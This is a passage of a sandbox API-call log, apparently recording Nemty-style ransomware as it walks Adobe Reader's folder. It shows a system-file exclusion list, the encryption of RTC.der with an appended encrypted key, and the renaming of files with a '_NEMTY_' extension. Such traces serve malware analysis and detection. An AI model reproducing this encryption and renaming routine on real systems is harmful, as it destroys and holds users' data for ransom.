hHeap=0x4f90000) returned 1 [0193.224] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.224] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reader_sl.exe", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0193.224] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reader_sl.exe", cchWideChar=13, lpMultiByteStr=0x653ef98, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reader_sl.exe", lpUsedDefaultChar=0x0) returned 13 [0193.224] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.224] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0193.224] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351cd8 | out: hHeap=0x4f90000) returned 1 [0193.224] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dc322e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x21af90, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="rt3d.dll", cAlternateFileName="")) returned 1 [0193.224] lstrcmpiW (lpString1="rt3d.dll", lpString2=".") returned 1 [0193.224] lstrcmpiW (lpString1="rt3d.dll", lpString2="..") returned 1 [0193.224] lstrcmpiW (lpString1="rt3d.dll", lpString2="...") returned 1 [0193.225] lstrcmpiW (lpString1="rt3d.dll", lpString2="windows") returned -1 [0193.225] lstrcmpiW (lpString1="rt3d.dll", lpString2="$RECYCLE.BIN") returned 1 [0193.225] lstrcmpiW (lpString1="rt3d.dll", lpString2="rsa") returned 1 [0193.225] lstrcmpiW (lpString1="rt3d.dll", lpString2="NTDETECT.COM") returned 1 [0193.225] lstrcmpiW (lpString1="rt3d.dll", lpString2="ntldr") returned 1 [0193.225] lstrcmpiW (lpString1="rt3d.dll", lpString2="MSDOS.SYS") returned 1 [0193.225] lstrcmpiW (lpString1="rt3d.dll", lpString2="IO.SYS") returned 1 [0193.225] lstrcmpiW (lpString1="rt3d.dll", lpString2="boot.ini") returned 1 [0193.225] lstrcmpiW (lpString1="rt3d.dll", lpString2="boot.ini") returned 1 [0193.225] lstrcmpiW (lpString1="rt3d.dll", lpString2="AUTOEXEC.BAT") returned 1 [0193.225] lstrcmpiW (lpString1="rt3d.dll", lpString2="ntuser.dat") returned 1 [0193.225] lstrcmpiW (lpString1="rt3d.dll", lpString2="desktop.ini") returned 1 [0193.225] lstrcmpiW (lpString1="rt3d.dll", lpString2="CONFIG.SYS") returned 1 [0193.225] lstrcmpiW (lpString1="rt3d.dll", lpString2="RECYCLER") returned 1 [0193.225] lstrcmpiW (lpString1="rt3d.dll", lpString2="BOOTSECT.BAK") returned 1 [0193.225] lstrcmpiW (lpString1="rt3d.dll", lpString2="bootmgr") returned 1 [0193.225] lstrcmpiW (lpString1="rt3d.dll", lpString2="programdata") returned 1 [0193.225] lstrcmpiW (lpString1="rt3d.dll", lpString2="appdata") returned 1 [0193.225] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.225] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rt3d.dll", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0193.225] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rt3d.dll", cchWideChar=8, lpMultiByteStr=0x653ef10, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rt3d.dll", lpUsedDefaultChar=0x0) returned 8 [0193.225] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0193.225] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rt3d.dll", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0193.225] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rt3d.dll", cchWideChar=8, lpMultiByteStr=0x653ef10, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rt3d.dll", lpUsedDefaultChar=0x0) returned 8 [0193.225] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0193.225] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.225] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.225] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rt3d.dll", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0193.225] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rt3d.dll", cchWideChar=8, lpMultiByteStr=0x653ef60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rt3d.dll", lpUsedDefaultChar=0x0) returned 8 [0193.225] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.225] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.225] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rt3d.dll", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0193.225] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rt3d.dll", cchWideChar=8, lpMultiByteStr=0x653ef98, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rt3d.dll", lpUsedDefaultChar=0x0) returned 8 [0193.225] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.226] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94200 [0193.226] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0193.226] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d5bd20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x44a, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="RTC.der", cAlternateFileName="")) returned 1 [0193.226] lstrcmpiW (lpString1="RTC.der", lpString2=".") returned 1 [0193.226] lstrcmpiW (lpString1="RTC.der", lpString2="..") returned 1 [0193.226] lstrcmpiW (lpString1="RTC.der", lpString2="...") returned 1 [0193.226] lstrcmpiW (lpString1="RTC.der", lpString2="windows") returned -1 [0193.226] lstrcmpiW (lpString1="RTC.der", lpString2="$RECYCLE.BIN") returned 1 [0193.226] lstrcmpiW (lpString1="RTC.der", lpString2="rsa") returned 1 [0193.226] lstrcmpiW (lpString1="RTC.der", lpString2="NTDETECT.COM") returned 1 [0193.226] lstrcmpiW (lpString1="RTC.der", lpString2="ntldr") returned 1 [0193.226] lstrcmpiW (lpString1="RTC.der", lpString2="MSDOS.SYS") returned 1 [0193.226] lstrcmpiW (lpString1="RTC.der", lpString2="IO.SYS") returned 1 [0193.226] lstrcmpiW (lpString1="RTC.der", lpString2="boot.ini") returned 1 [0193.226] lstrcmpiW (lpString1="RTC.der", lpString2="boot.ini") returned 1 [0193.226] lstrcmpiW (lpString1="RTC.der", lpString2="AUTOEXEC.BAT") returned 1 [0193.226] lstrcmpiW (lpString1="RTC.der", lpString2="ntuser.dat") returned 1 [0193.226] lstrcmpiW (lpString1="RTC.der", lpString2="desktop.ini") returned 1 [0193.226] lstrcmpiW (lpString1="RTC.der", lpString2="CONFIG.SYS") returned 1 [0193.226] lstrcmpiW (lpString1="RTC.der", lpString2="RECYCLER") returned 1 [0193.226] lstrcmpiW (lpString1="RTC.der", lpString2="BOOTSECT.BAK") returned 1 [0193.226] lstrcmpiW (lpString1="RTC.der", lpString2="bootmgr") returned 1 [0193.226] lstrcmpiW (lpString1="RTC.der", lpString2="programdata") returned 1 [0193.226] lstrcmpiW (lpString1="RTC.der", lpString2="appdata") returned 1 [0193.226] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RTC.der", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0193.226] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RTC.der", cchWideChar=7, lpMultiByteStr=0x653ef10, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RTC.der", lpUsedDefaultChar=0x0) returned 7 [0193.226] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RTC.der", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0193.226] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RTC.der", cchWideChar=7, lpMultiByteStr=0x653ef10, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RTC.der", lpUsedDefaultChar=0x0) returned 7 [0193.226] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RTC.der", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0193.226] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RTC.der", cchWideChar=7, lpMultiByteStr=0x653ef60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RTC.der", lpUsedDefaultChar=0x0) returned 7 [0193.226] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RTC.der", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0193.226] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RTC.der", cchWideChar=7, lpMultiByteStr=0x653ef98, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RTC.der", lpUsedDefaultChar=0x0) returned 7 [0193.226] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6351cd8 [0193.227] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94200 | out: hHeap=0x4f90000) returned 1 [0193.227] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6351c60 [0193.227] Sleep (dwMilliseconds=0x5) [0193.235] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0x26d2ecd0, dwHighDateTime=0x1d561e8)) [0193.235] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0x26d2ecd0, dwHighDateTime=0x1d561e8)) [0193.235] GetLastError () returned 0x0 [0193.235] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0193.235] GetLastError () returned 0x0 [0193.235] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.235] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0193.235] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0193.235] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653ec60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653ec60*=0x100) returned 1 [0193.235] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x10, dwBufLen=0x100 | out: pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x100) returned 1 [0193.235] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ec5c | out: pszString=0x0, pcchString=0x653ec5c) returned 1 [0193.235] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0193.235] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653ec5c | out: pszString="bwugH/N576RLgro/XGf/cUyev78hD5Shj4ScLlW71xnqiusspv+MOCwTuVcHe6HA\r\nY2qhTmvXpSbDbaknmLhMpgBZwokDa1ysJtUJTeveimDY6Ln1PeWFqn6X7M3kwNPK\r\n4EitqgaDgcmlP2mK9ln9I5tp8Na5haRWTSAZMAEB1l/Thf/E01RBBQ0Rbvoi1U09\r\nfbuxeO8PkbtygoGR9aHFxqn8+udofhHWHASA+t5TnQRKinxyyA+Xka8HMm+QasnR\r\n3NA01ivIFxh06T02yWFZLfvZYRSicMbDInox0XxfN1A1mjhGsVr3i5RVMhvppFyd\r\nvKDWRN9kVTPzcegLHyVddA==\r\n", pcchString=0x653ec5c) returned 1 [0193.235] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0193.235] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0193.235] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0193.236] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0193.236] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0193.236] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0193.236] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\RTC.der" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\rtc.der"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0193.237] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x653eeb0 | out: lpFileSize=0x653eeb0*=1098) returned 1 [0193.237] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x440) returned 0x6340048 [0193.237] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.237] ReadFile (in: hFile=0x1ec, lpBuffer=0x6340048, nNumberOfBytesToRead=0x440, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesRead=0x653eea4*=0x440, lpOverlapped=0x0) returned 1 [0193.238] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.238] WriteFile (in: hFile=0x1ec, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653ee9c*=0x440, lpOverlapped=0x0) returned 1 [0193.239] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0193.239] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=1098, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x44a [0193.239] WriteFile (in: hFile=0x1ec, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653ee9c*=0x167, lpOverlapped=0x0) returned 1 [0193.239] CloseHandle (hObject=0x1ec) returned 1 [0193.239] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6351d50 [0193.239] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0193.239] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0193.239] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0193.239] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0193.239] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0193.239] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0193.239] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x4f94200 [0193.239] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0193.239] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0193.239] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\RTC.der" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\rtc.der"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\RTC.der._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\rtc.der._nemty_kgobjgd_")) returned 1 [0193.240] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94200 | out: hHeap=0x4f90000) returned 1 [0193.240] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351d50 | out: hHeap=0x4f90000) returned 1 [0193.240] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0193.240] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0193.240] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0193.240] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0193.240] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.240] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c60 | out: hHeap=0x4f90000) returned 1 [0193.240] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8ff90, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="ScCore.dll", cAlternateFileName="")) returned 1 [0193.240] lstrcmpiW (lpString1="ScCore.dll", lpString2=".") returned 1 [0193.240] lstrcmpiW (lpString1="ScCore.dll", lpString2="..") returned 1 [0193.240] lstrcmpiW (lpString1="ScCore.dll", lpString2="...") returned 1 [0193.240] lstrcmpiW (lpString1="ScCore.dll", lpString2="windows") returned -1 [0193.240] lstrcmpiW (lpString1="ScCore.dll", lpString2="$RECYCLE.BIN") returned 1 [0193.240] lstrcmpiW (lpString1="ScCore.dll", lpString2="rsa") returned 1 [0193.240] lstrcmpiW (lpString1="ScCore.dll", lpString2="NTDETECT.COM") returned 1 [0193.240] lstrcmpiW (lpString1="ScCore.dll", lpString2="ntldr") returned 1 [0193.240] lstrcmpiW (lpString1="ScCore.dll", lpString2="MSDOS.SYS") returned 1 [0193.240] lstrcmpiW (lpString1="ScCore.dll", lpString2="IO.SYS") returned 1 [0193.240] lstrcmpiW (lpString1="ScCore.dll", lpString2="boot.ini") returned 1 [0193.240] lstrcmpiW (lpString1="ScCore.dll", lpString2="boot.ini") returned 1 [0193.240] lstrcmpiW (lpString1="ScCore.dll", lpString2="AUTOEXEC.BAT") returned 1 [0193.240] lstrcmpiW (lpString1="ScCore.dll", lpString2="ntuser.dat") returned 1 [0193.241] lstrcmpiW (lpString1="ScCore.dll", lpString2="desktop.ini") returned 1 [0193.241] lstrcmpiW (lpString1="ScCore.dll", lpString2="CONFIG.SYS") returned 1 [0193.241] lstrcmpiW (lpString1="ScCore.dll", lpString2="RECYCLER") returned 1 [0193.241] lstrcmpiW (lpString1="ScCore.dll", lpString2="BOOTSECT.BAK") returned 1 [0193.241] lstrcmpiW (lpString1="ScCore.dll", lpString2="bootmgr") returned 1 [0193.241] lstrcmpiW (lpString1="ScCore.dll", lpString2="programdata") returned 1 [0193.241] lstrcmpiW (lpString1="ScCore.dll", lpString2="appdata") returned 1 [0193.241] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.241] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ScCore.dll", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0193.241] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ScCore.dll", cchWideChar=10, lpMultiByteStr=0x653ef10, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ScCore.dll", lpUsedDefaultChar=0x0) returned 10 [0193.241] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0193.241] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ScCore.dll", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0193.241] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ScCore.dll", cchWideChar=10, lpMultiByteStr=0x653ef10, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ScCore.dll", lpUsedDefaultChar=0x0) returned 10 [0193.241] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0193.241] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.241] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.241] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ScCore.dll", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0193.241] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ScCore.dll", cchWideChar=10, lpMultiByteStr=0x653ef60, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ScCore.dll", lpUsedDefaultChar=0x0) returned 10 [0193.241] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.241] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.241] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ScCore.dll", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0193.241] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ScCore.dll", cchWideChar=10, lpMultiByteStr=0x653ef98, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ScCore.dll", lpUsedDefaultChar=0x0) returned 10 [0193.241] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.241] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0193.241] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351cd8 | out: hHeap=0x4f90000) returned 1 [0193.241] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x820095e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x820095e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x820095e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="Services", cAlternateFileName="")) returned 1 [0193.241] lstrcmpiW (lpString1="Services", lpString2=".") returned 1 [0193.241] lstrcmpiW (lpString1="Services", lpString2="..") returned 1 [0193.241] lstrcmpiW (lpString1="Services", lpString2="...") returned 1 [0193.241] lstrcmpiW (lpString1="Services", lpString2="windows") returned -1 [0193.241] lstrcmpiW (lpString1="Services", lpString2="$RECYCLE.BIN") returned 1 [0193.241] lstrcmpiW (lpString1="Services", lpString2="rsa") returned 1 [0193.241] lstrcmpiW (lpString1="Services", lpString2="NTDETECT.COM") returned 1 [0193.242] lstrcmpiW (lpString1="Services", lpString2="ntldr") returned 1 [0193.242] lstrcmpiW (lpString1="Services", lpString2="MSDOS.SYS") returned 1 [0193.242] lstrcmpiW (lpString1="Services", lpString2="IO.SYS") returned 1 [0193.242] lstrcmpiW (lpString1="Services", lpString2="boot.ini") returned 1 [0193.242] lstrcmpiW (lpString1="Services", lpString2="boot.ini") returned 1 [0193.242] lstrcmpiW (lpString1="Services", lpString2="AUTOEXEC.BAT") returned 1 [0193.242] lstrcmpiW (lpString1="Services", lpString2="ntuser.dat") returned 1 [0193.242] lstrcmpiW (lpString1="Services", lpString2="desktop.ini") returned 1 [0193.242] lstrcmpiW (lpString1="Services", lpString2="CONFIG.SYS") returned 1 [0193.242] lstrcmpiW (lpString1="Services", lpString2="RECYCLER") returned 1 [0193.242] 